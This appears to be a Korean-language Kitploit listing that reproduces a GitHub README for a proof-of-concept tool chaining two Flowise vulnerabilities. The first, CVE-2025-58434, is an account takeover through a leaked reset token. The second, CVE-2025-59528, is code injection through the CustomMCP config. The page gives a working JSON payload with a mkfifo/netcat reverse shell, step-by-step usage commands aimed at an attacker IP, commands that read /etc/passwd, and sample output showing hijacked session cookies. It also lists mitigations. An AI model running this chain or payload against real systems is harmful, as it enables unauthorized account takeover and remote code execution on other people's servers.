Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-58434-AND-59528-POC — Combined PoC for CVE-2025-28434 and CVE-2025-59528 | Kitploit
도구/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access ToolPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Combined PoC for CVE-2025-28434 and CVE-2025-59528

저장소 보기
194개월 전아직 검토되지 않음

Flowise 이중 CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ 교육 및 인가된 보안 연구 목적으로만 사용하세요.
귀하가 소유하지 않거나 서면 허가 없이 테스트할 수 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.


목차

  • 개요
  • 취약점 상세
    • CVE-2025-58434 — 계정 탈취
    • CVE-2025-59528 — 원격 코드 실행
  • 전체 공격 체인
  • 영향받는 버전
  • 저장소 구조
  • 요구 사항
  • 설치
  • 사용법
    • 기본 동작
    • 도움말 화면
    • 체인 모드
    • 모듈 — ATO
    • 모듈 — 로그인
    • 모듈 — RCE
  • 플래그 참조
  • 리버스 셸 vs 사용자 정의 명령어
  • 예제 출력
  • 대응 방안
  • 공개 타임라인
  • 참고 자료
  • 면책 조항

개요

이 저장소는 Flowise의 두 가지 치명적 취약점을 하나의 모듈식 PoC 도구로 결합합니다.

두 취약점은 자연스럽게 연결됩니다: CVE-2025-58434는 인증되지 않은 계정 탈취를 제공하며, 이는 CVE-2025-59528의 인증 요구 사항을 충족시켜 단일 자동 실행으로 인증되지 않은 RCE를 달성합니다.


취약점 상세

CVE-2025-58434 — 계정 탈취

근본 원인: forgot-password 엔드포인트가 비밀번호 재설정 토큰(tempToken)을 이메일로만 보내지 않고 HTTP 응답 본문에 직접 반환합니다.

공격 단계:

  1. 등록된 이메일로 POST /api/v1/account/forgot-password 요청
  2. JSON 응답에서 tempToken 읽기 — 이메일 접근 불필요
  3. 유출된 토큰으로 POST /api/v1/account/reset-password → 새 비밀번호 설정
  4. 피해자로 로그인

유출된 응답 (일부):

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — 원격 코드 실행

근본 원인: CustomMCP 노드가 사용자 제공 mcpServerConfig를 JavaScript의 Function() 생성자에 직접 전달하며 삭제(sanitization)하지 않습니다. Flowise는 Node.js에서 실행되므로 주입된 코드는 child_process, fs 및 모든 Node.js 내장 기능에 완전히 접근할 수 있습니다.

취약한 코드 경로:

root@kitploit:~
POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← 삭제되지 않은 사용자 입력

필수 헤더:

root@kitploit:~
Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

기본 주입 페이로드 (리버스 셸):

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

참고: 리버스 셸 페이로드는 cp.exec() (비동기 / 발사 후 망각)을 사용하므로 HTTP 요청이 즉시 반환되어 도구가 타임아웃되지 않습니다. 일반 명령어는 cp.execSync()를 사용하며 출력을 인라인으로 반환합니다.


전체 공격 체인

root@kitploit:~
공격자                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← 응답에 토큰 유출
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO 완료
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← 쿠키 추출
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   공격자의 nc 리스너 ←─────────────── 서버가 역연결
   ✓  자격 증명 없이 완전한 RCE

영향받는 버전

구성 요소상태
Flowise Cloud (cloud.flowiseai.com)CVE-2025-58434에 영향
Flowise 자체 호스팅 (패치 이전 모든 버전)두 CVE 모두에 영향

패치된 릴리스 번호는 공식 Flowise 보안 권고를 확인하십시오.


저장소 구조

root@kitploit:~
flowise-dual-cve-poc/
├── flowise_poc.py      # 메인 PoC — 모든 모듈 + 체인 모드
├── requirements.txt    # Python 종속성
├── README.md           # 이 파일
└── DISCLAIMER.md       # 전체 법적 고지

요구 사항

  • Python 3.7+
  • requests 라이브러리

설치

root@kitploit:~
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

사용법

기본 동작

모드 플래그가 필요하지 않습니다. --chain 또는 --module 없이 스크립트를 실행하면 자동으로 전체 체인 모드로 실행됩니다. 기본 RCE 페이로드는 리버스 셸입니다 — --lhost와 --lport만 제공하면 됩니다.

root@kitploit:~
# 최소 호출 — 전체 체인 + 리버스 셸
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

실행 전에 리스너를 시작하세요:

root@kitploit:~
nc -lvnp 4444

도움말 화면

root@kitploit:~
python3 flowise_poc.py -h

체인 모드

네 단계를 모두 처음부터 끝까지 실행합니다: 토큰 유출 → 비밀번호 재설정 → 로그인 → RCE.

root@kitploit:~
# 리버스 셸 (기본 페이로드)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# 리버스 셸 대신 사용자 정의 명령어
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# 사용자 정의 ATO 비밀번호 + 리버스 셸
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

모듈 — ATO

tempToken을 유출하고 계정 비밀번호를 재설정합니다. 로그인/RCE 전에 중단됩니다.

root@kitploit:~
# 기본 새 비밀번호
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# 사용자 정의 새 비밀번호
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# 원시 JSON 응답 출력
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

모듈 — 로그인

인증하고 수동 사용을 위해 세 개의 세션 쿠키를 추출합니다.

root@kitploit:~
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# 스크립팅을 위한 JSON 출력
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

모듈 — RCE

서버에서 실행합니다. --token이 제공되지 않으면 자동 로그인합니다.

root@kitploit:~
# 리버스 셸 — 자동 로그인
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# 사용자 정의 명령어 — 자동 로그인
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# 수동 토큰 — 리버스 셸
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# 세 쿠키 모두 수동
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

플래그 참조

모드 (모두 선택 사항 — 기본값은 --chain)

플래그설명
--chain전체 체인: ATO → 로그인 → RCE
--module ato계정 탈취만
--module login로그인 및 쿠키 추출만

대상

플래그약어설명필수
--url-uFlowise 인스턴스의 기본 URL항상

ATO 옵션

플래그약어설명기본값
--new-password-pATO 후 피해자 계정에 설정할 비밀번호Flowise@Pwn3d2025!

인증 옵션

RCE 옵션

기타

플래그약어설명기본값

리버스 셸 vs 사용자 정의 명령어

스크립트는 자동으로 올바른 실행 모드를 선택합니다:

비동기 실행은 HTTP 요청이 즉시 완료됨을 의미합니다 — 리버스 셸 페이로드에 타임아웃 오류가 발생하지 않습니다.


예제 출력

root@kitploit:~
  [단계 1] [CVE-2025-58434] forgot-password 토큰 요청 중 ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    유출된 계정 데이터
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] 취약함 — 인증 없이 토큰이 노출되었습니다!

  [단계 2] [CVE-2025-58434] 비밀번호 재설정 중 → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] 비밀번호 재설정 성공 (tempToken cleared)
  [+] 계정 탈취 완료 → [email protected] / Flowise@Pwn3d2025!

  [단계 3] [Auth] 세션 쿠키 추출을 위해 로그인 중 ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    추출된 세션 쿠키
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [단계 4] [CVE-2025-59528] CustomMCP를 통해 RCE 실행 중 ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE 결과
  ────────────────────────────────────────────────────────────────────
  모드    : 리버스 셸
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] 리버스 셸 페이로드 실행됨!
  [!] 10.10.16.35:4444 에서 연결 대기 중 ...
  [!] 리스너가 실행 중인지 확인하세요: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] 체인 완료

대응 방안

CVE-2025-58434 관련

  • API 응답에 토큰을 절대 반환하지 마세요. tempToken은 등록된 이메일로만 전송하세요.
  • 이메일 존재 여부와 관계없이 일반 성공 메시지를 반환하세요 (열거 방지).
  • 토큰을 일회용으로 만들고, 짧은 수명(≤15분)으로 설정하며, 요청 컨텍스트에 연결하세요.
  • forgot-password 엔드포인트에 속도 제한을 적용하세요.

CVE-2025-59528 관련

  • 사용자 입력을 Function(), eval() 또는 vm.runInThisContext()에 절대 전달하지 마세요.
  • mcpServerConfig를 데이터로만 구문 분석하세요 (예: JSON.parse()) — 절대 실행하지 마세요.
  • 동적 평가가 필요한 경우, 제한된 컨텍스트로 격리된 샌드박스를 사용하세요.
  • 엄격한 입력 유효성 검사와 허용된 구성 키 목록을 적용하세요.

일반

  • 클라우드 및 자체 호스팅 배포 모두 패치하세요.
  • 비밀번호 재설정 및 node-load-method 엔드포인트에 대한 로깅 및 알림을 활성화하세요.
  • 모든 관리자 계정에 MFA를 고려하세요.

공개 타임라인

날짜이벤트
2025-08-19CVE-2025-58434 발견 및 보고
TBDCVE-2025-59528 발견 및 보고
TBD공급업체 확인
TBD패치 릴리스
TBD

참고 자료

  • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
  • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
  • Flowise GitHub
  • CWE-640: 취약한 비밀번호 복구 메커니즘
  • CWE-94: 코드 생성에 대한 부적절한 제어

면책 조항

교육 목적 및 인가된 침투 테스트용으로만 사용하세요.
전체 법적 고지는 DISCLAIMER.md를 참조하십시오.

도구 다운로드
CVE-2025-58434CVE-2025-59528
유형계정 탈취원격 코드 실행
인증 필요없음예 (유효한 계정 필요)
CVSS9.8 치명적치명적
영향클라우드 + 자체 호스팅자체 호스팅
--module rce
RCE만
--email
-e
대상 / 로그인 이메일
항상
플래그약어설명
--login-password-P로그인 모듈 / RCE 자동 로그인용 비밀번호
--token—token 쿠키 수동 제공 (로그인 생략)
--refresh-token—refreshToken 쿠키 수동 제공
--connect-sid—connect.sid 쿠키 수동 제공
플래그약어설명기본값
--lhost—리버스 셸용 공격자 IP—
--lport—리버스 셸용 공격자 포트—
--command-c사용자 정의 OS 명령어 (revshell 대체)lhost/lport가 없으면 id
--timeout
-t
HTTP 타임아웃 (초)
15
--json-output-j원시 JSON 응답 출력false
시나리오사용된 페이로드HTTP 동작
--lhost + --lport (-c 없음)mkfifo netcat 원라이너cp.exec() — 비동기, 즉시 반환
-c "..." 에 nc/mkfifo/bash -i 포함revshell로 감지cp.exec() — 비동기, 즉시 반환
-c "id" 또는 기타 일반 명령어사용자 명령어cp.execSync() — 블로킹, 출력 반환
-c 없음, --lhost 없음idcp.execSync() — 블로킹, 출력 반환
공개 공개